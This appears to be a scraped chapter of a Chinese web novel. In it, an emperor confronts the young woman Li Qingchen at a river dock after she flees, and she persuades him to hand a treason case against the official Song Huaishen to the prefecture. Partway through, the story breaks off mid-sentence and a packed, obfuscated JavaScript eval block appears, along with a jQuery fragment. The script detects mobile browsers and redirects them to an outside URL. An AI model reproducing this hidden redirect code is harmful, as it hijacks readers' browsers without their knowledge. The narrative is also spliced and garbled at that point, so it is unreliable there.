默认冷灰
24号文字
方正启体

39. 小三

作者:橙年烧酒本书字数:K更新时间:
    天启之初,南安人来人往的码头。


    陆晏要和她算账了。


    明明上一秒还极为疯狂地吻着她的人,眼神还能凉薄到那个程度,穿过她直直刺向还未下木梯的贵公子。


    苍白的手背挑衅似地擦净唇边,再慢悠悠地向后一坐,在特意搬来的太师椅上,清算着一切。


    手边不止有香茗,还有一堆收缴来的信件。


    码头上的风卷起许多官员的袍角,江南州长史冯俊,桐嘉书院冯院长,还有与财政州学有关的重要官员侍候在他左右。与此同时,收到信的主人愧对于当今天子,也在码头上低着头请罪。


    刚刚伏击运粮船的军用船舰靠了案,登云梯上慢慢走下来一肥胖臃肿、白须白眉的老人。前呼后拥地又带来许多人。想来也是权势滔天的人物。


    他们向这边走来。同时她身后也有另一波人慢慢靠近这里的中心点。


    陆晏一封封翻着,认真看了每一行,甚至还读出来。


    “慕夫子,学生李清琛敬上。此行南下巴蜀游学,归期未定,勿念。”


    读完后扔掉,又拿起下一封。


    “阿嫂,念之今日以信拜别,愿再次相遇还能吃您做的糕饼。”


    揉成团扔掉。


    “少爷。”空白的信纸上只有一个句号。被一下子拍冯家主怀里让他代不孝子好好看看。


    就连一个句号都写了,他的侍女也收到了她的告别。


    翻来翻去十几封,一个属于他的都没有。


    十四岁的李清琛没有对陆晏有那般似海深的理解,只是本能地觉得该哄他了。


    她用粗布袖口擦了擦水润的红唇,忽视那股酥麻与疼痛,半蹲下来和太师椅上的人保持比他低一个头的高度差。正好够他抬手抚摸她的发顶。


    在大庭广众之下做出如此亲密举动就仿佛把脸皮剥掉,很多视线都盯着她,证实他是皇帝,她是侍妾。证实她被包养,被皇帝包养。


    她脸色白里透红,像被风吹的,很不好意思,但是分得清轻重缓急。


    周遭环境她都不在意,只是一味照顾他的情绪。她不告而别他当然生气,解释清楚这一点就好了。


    李清琛用小指勾住了他的轻轻晃了晃,水润的眸子直直盯着龙颜,她于这些勋贵中显得那么渺小却又那般重要。


    她轻声说,“陛下神通广大,草民深感自身卑贱,决心南下游学进修,学有所成时归来更好侍候您左右。”


    他的眼周有圈红色,但面容却是很淡定,尽在掌握的模样。他虽然看着她,不如说是与她身后的人角力。


    心思好像飘忽着,不在意她编的鬼话。


    但听到她的声音出现在耳边,身上还有他带来的痕迹时,他的躁郁渐驱平稳。


    “陛下……”李清琛陈列了五大点,每个大点分四小点说明这次事件的来龙去脉,最后口干舌燥,看到他身边史官模样的人都记下后,她缓了缓。


    “嗯?”他的疑惑声紧随其后。


    正经的说完,该说点不正经的了。她仍然勾着他的手指,飞快起身靠近他耳边说了句话。他的呼吸瞬间粗重,注意力也全部集中到她身上,眼中惊怒羞红不似假的。


    得他这样的反应是她意料之中,却是第一次干这种事,神色也开始躲闪了。默默拉开了距离,而白眉老人和身后的贵公子已经来到他左右,虔诚跪下见礼。


    老人声音浮华之中带着尖细,“奴王海,请陛下圣安。”


    贵公子声音稳沉如玉,露出恭敬,“微臣宋怀慎,见过陛下。刑部述职报告已交由史官审查。”


    随着他们的下跪,现场也无人敢站着了,她在一合适的时机,不起眼地躲在陆晏身后浅跪着。


    心里掂量了下他们这两人的轻重。一个是大名鼎鼎服侍过三朝皇帝的元老,现今左右朝政的权宦。其人亦正亦邪,暗地里人人称之一声九千岁。


    之前看陆晏的案头少了点奏章,应该就是给了九千岁。他还有批红权!


    另一位公子模样的人,品阶不高不低,家世极好。有着足够的实权和不低的地位,甚至能调用兵权护卫自己。名字也听过几回,叫宋怀慎。


    也是个有头有脸的人。


    李清琛慢慢忖度着,连膝盖有些疼了都没感知到。


    再回神时其他人也还在跪着,她为了省力也跪得实了点。


    不知是撩拨得太过的缘故,陆晏呼吸沉沉的,不管任何人,视线随着她移动。看她稍有皱眉,自己的眉心也不自觉皱了起来。


    她声音放轻了问,“陛下?”


    “你平身。”陆晏上下扫了眼她,视线在她的膝盖上停留了几秒,复又恢复了。


    “待会儿再跪也不迟。”男人想到什么,手中的茶都没他的掌心热,嘴角扬起一个弧度。


    床榻上软一些。


    待会儿跪……李清琛不想懂的,谁能想此刻她一半局势一半床上那档子事呢。


    面红耳热的她慢慢起了身,神情却格外正经严肃。主动担起史官职责,拿眼睛记录皇帝的一切。


    这个高度让她可以看清一众人等的卑躬屈膝,远处府兵拦着成群的民众,碧波江上连船帆都卸下来安静地恭迎御驾。


    彻彻底底的君临天下。他的微服私访彻底结束了。


    江面上的风吹起衣角,让腿上发凉。


    一片静默中,陆晏没什么表情问,“谁先动的手?”


    这种慢条斯理的压迫感,是那么熟悉。不怪她之前胆子小,就算是权宦来了也得愣住一瞬。


    宦官的表情漫上愤恨,向一旁呸了一口,极近私仇。但皇帝的视线落在他身上时,他又恭敬起来诉苦,“陛下明鉴,宋大人私下面见晋王,到底所欲何为?”


    意即运粮船上所有人目睹是他先用的火炮,他也是为了讨伐逆贼。


    李清琛拳头硬了,近百条人命呢,这宦官轻飘飘就揭过去了。


    身残心也残,嘴脸丑恶得狠呢。


    要不是这里没她说话的份儿,她高低骂他几句。


    好在这里证人够多,不会让这宦官搅和黑白。宋公子清风朗月,也不是个好污蔑的主。


    “你可还有狡辩?”陆晏冷淡的视线移到左边的贵公子那里,对着他说。


    这一问让她心下一惊,不好的预感袭上心头。怎么会用到“狡辩”这个字眼,好像已经有了偏向似的。


    万岁和九千岁天生的敌对,陆晏还要帮右边的不成?


    “陛下心里既已有了决断,那么运粮船上八十六张嘴,说什么您也不会信。臣与晋王同游江南数日,即便问心无愧,在您眼中也是勾结。”


    温润公子跪得有几分倔犟,像宁可玉碎不为瓦全的模样。


    李清琛看着看着,心里着急起来,这不是妥妥的宦官逼迫文人士子的典型?


    原来天启之初的朝政混乱成了这样,说不定整个朝野被宦官渗透了个底,唯有几位有志之士坚持着还世间清明,对抗着腌臜之物。


    她越看越觉得不对劲,宋怀慎也不多为自己辩解几句,淡色的眼眸失望地望着陆晏还有……她?


    他的视线停留在她身上几息,等她注意到后眼眸低垂,投下一小片阴影,像一块蒙了尘的璞玉。


    她陡然间感觉到一阵心慌,猛然别过了视线。她现在自保都难,私自出逃就已是大罪过,怎么还能指责陆晏的决定呢。


    只是越不能帮,越能勾起在船上的记忆,他找到林婉君稳稳交付给她的手,那在冷箭火炮中坚定的背影。


    他一定是个为百姓谋福祉的好官,她的心越来越沉,头一次感觉自己的沉默是如此的卑劣。


    动作有些大,引来了一道不容忽视的视线,陆晏看了她慌张的神色,眸底越来越冷。他的唇角还有着不易看见的潋滟之色,那是刚刚缠绵过的痕迹。


    也是这样的唇上下一碰说,“谋逆大罪,以死谢过。”


    毫无任何人情的八个字。


    宋怀慎谋逆要判死刑。


    腕上的菩提串珠突然冰了她一下。李清琛右手搭在腕子上,指尖用力到有些泛白。


    她还没有说什么,还是沉默了。码头上半个江南的勋贵都在,她实在没什么说话的余地在。可那道璞玉般的视线好像又落在了她身上。有些……失望。


    刺痛了她的心,她扭过头。


    气氛渐冷,变得冰寒彻骨。陆晏看着她的反应,眼底已经没有任何的笑意。


    “陛下万万不可啊,宋大人为人端正,怎么会行谋反之事,定有冤情……”


    “哈,陛下赏罚分明,对于谋反就该绝不姑息。”


    你一言我一句的争辩之句宛若狂风卷海浪,此起彼伏。


    最后被冷不丁得掐断,陆晏说,“你和他到底要眉来眼去多久。”


    瞬间寂静,针落可闻。


    李清琛被点名了瞬间识趣地跪下来,脸上半红半白。说得不卑不亢,“陛下,念之没有。我与宋大人仅仅一面之缘。”


    她感觉到不少视线都落在她身上,所幸一不作二不休,又顺着皇帝的毛捋了几把。


    这样的话穿插在三堂会审般的局面里未免有些荒唐,可尊位上的人还是受用的。


    薄唇慢慢拉扯至正常的弧度。


    她仔细观察着他的表情,心里慢慢松口气。她没有为宋公子辩护,很聪明地把两人关系当着全江南的面挑明了。


    包括她对着陛下芳心暗许。


    她喜欢陆晏,喜欢到愿意为了他做任何事。


    言辞大胆奔放,很多人都会被这般热烈的情话弄得红了脸偏过头。


    他还是生她的气的。但眼神越来越炙热,像是能把人烫化,下一秒就拆吞入腹。好像他等她这样子的无法无天很久了,而今终于等到。


    他的手伸在她面前,拉着她起身来到身边,离其他人都远远的。


    最终嘴角些微上扬。


    哄好了。


    李清琛心中又长舒一口气,手心捏了一把又一把的汗,被他蹭着,有洁癖的他好像还没注意到,攥得死紧。


    只不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17021034|192505||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    过轻松之色出现在脸上,他的视线肉眼可见地降温。


    她连忙憋住了,把另一手也搭上去,他才慢慢回温。


    “陛下天人之姿,人人称之爱之。”她扯起一个笑容,眼睛都亮亮的。


    “哼。”他没有收回手。


    呼……有好多人看着,她就继续搭个桥拉拢个人吧。


    她飞快地将自己的视线转移到宋怀慎身上,说了句,“想必没有人不是这样想的,身心健康的正常人都该有这样的态度。”


    宦官插手朝政,残缺之人,该打死。而这位宋公子该就着梯子往下爬了,她那么努力了。


    手冷不丁被摸着骨头捏了下。


    李清琛一个激灵,说完后飞快地在陆晏沉脸之前转移到他的脸上,满心满眼都装着他。


    安抚皇帝情绪。


    众人瞧着她的这般操作,一下把圣怒熄灭得一点不剩,假的吧。


    但一个多月来没怎么笑过的人现在嘴角一直上扬,是真的!


    怎么会啊。在场过半的迂腐文人都受不了了。他们祁朝,民风保守,以礼治国。


    他们的陛下就该独坐高台,牵着国母的手,相敬如宾,为全天下做好榜样。


    而不是…而不是大庭广众拉拉扯扯,在讨论谋逆案的时候说你怎么在看其他男人这种话。


    这…成何体统!


    “唉,冯元你干什么,别动!”冯家主死死拽住神态暴怒的儿子,生怕他干傻事连累了冯家和他的前途。这个泼皮冯家不要就不要了,给皇家吧。


    冯家父子相争,吸引了尴尬到无处可去的视线,有人就开始拉架。姓宋的也在其中,只是偏过头的视线带着湿意。


    “李清琛!”冯元怒极,直呼她的名字,三分愤怒,七分委屈。好像是名义上的舅兄被抄斩了都没这么难过。


    少年被拦着手脚,却仍旧倔犟地盯住她,那些话本来都是属于他的!他怎么能不恨陆晏啊。


    李清琛神经紧张起来,观察着陆晏的神色有没有异常。呼…还好,正常的。


    非但没有生气,心情好像更好了。


    她飞快看了一眼冯元,使劲眨了眨眼,试图唤起他青梅竹马的美好情谊。而后手掌心延伸至掌根都被轻捏了下。她又赶紧收回视线。


    这一切只会让所有人怒火中烧。


    陆晏仿佛看不见外界对他的眼光和怒火,越是说他不拘礼数,越是对他充满愤怒,他这个人心情就会越舒畅。给他一种一遍遍占有李清琛的快感。


    温润的公子面临皇帝的怀疑看起来也不慌不忙,反而带着点笑看着她的背影。一种说不出来的感觉。


    对于明显递给他的台阶也不要,气得她做到底干脆为他求情。


    李清琛切换得自然,“陛下,谋反一事还需仔细调查,冯太守似乎知道隐情,何不将事情移交州府而不是听某些人一面之词。”


    宋冯两家交好,人是今天关的,明天就能放。她这一通话约等于把宋怀慎放了。


    冯俊是个精明的官吏,很快回转了回避的视线,郑重其事地承诺一定秉公执法。


    心情很好的陆晏稍皱了下眉,竟然答应了。


    宦官瞪大着眼,捏紧肥厚的手成拳,恍若被背叛了。仿佛他们本来是合谋,现在他为了一个来历不明的小子就抛弃了同盟。


    “陛下此等大好时机,不除掉人更待何时!”


    他尖细的嗓音不咋好听,带着情绪就更甚了。陆晏宛若未闻,连个眼风都没给过他。只不容置疑地说,“行了”。


    行了,什么行了。到底将人的命拿走才是啊。


    当初是谁高热后一张口就是要把人家碎尸万段的。是谁?


    王海不敢相信陆晏竟牵着一人的手,和她一起剥开人群向清元巷方向走。走了。


    和毅然决然离开龙椅,下江南时一样。不远万里,奔赴一个虚无缥缈的,或许根本不存在的柴院。留着偌大的皇城不顾,小皇帝现在也是,丢下他的臣民不管。


    只是牵着一人的手。


    自上空来看,两人好像一把划开江面的利器,路上的人自觉为他们让开一条道。


    从学院师友到州官袍吏,都能看见。


    江面波光粼粼,一闪一闪的,在他的江南春衫上,像渡了层金。像龙袍,却又不那么像。


    与无数人目光交接,心跳都能同频共振。见证他们之间的关系,是同路人。


    直到身后有一句声量不大不小的一句话,“小三”。


    没有指名道姓,却霎时冻住了江面,冻住了离去之人的脚步。


    声音来源正是出自不紧不慢弹着膝上灰尘的宋怀慎。


    他很是慢条斯理。


    很是平淡。


    可是那句话在视线聚集到他那里时,还是能重复一遍,


    “小三”。


    饱读诗书的人应该有更多的表达,比如介入者,道德败坏之人,可是这句口头俚语还是被他念了两遍。谁都能听懂。


    有个人是个卑劣的,小三。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)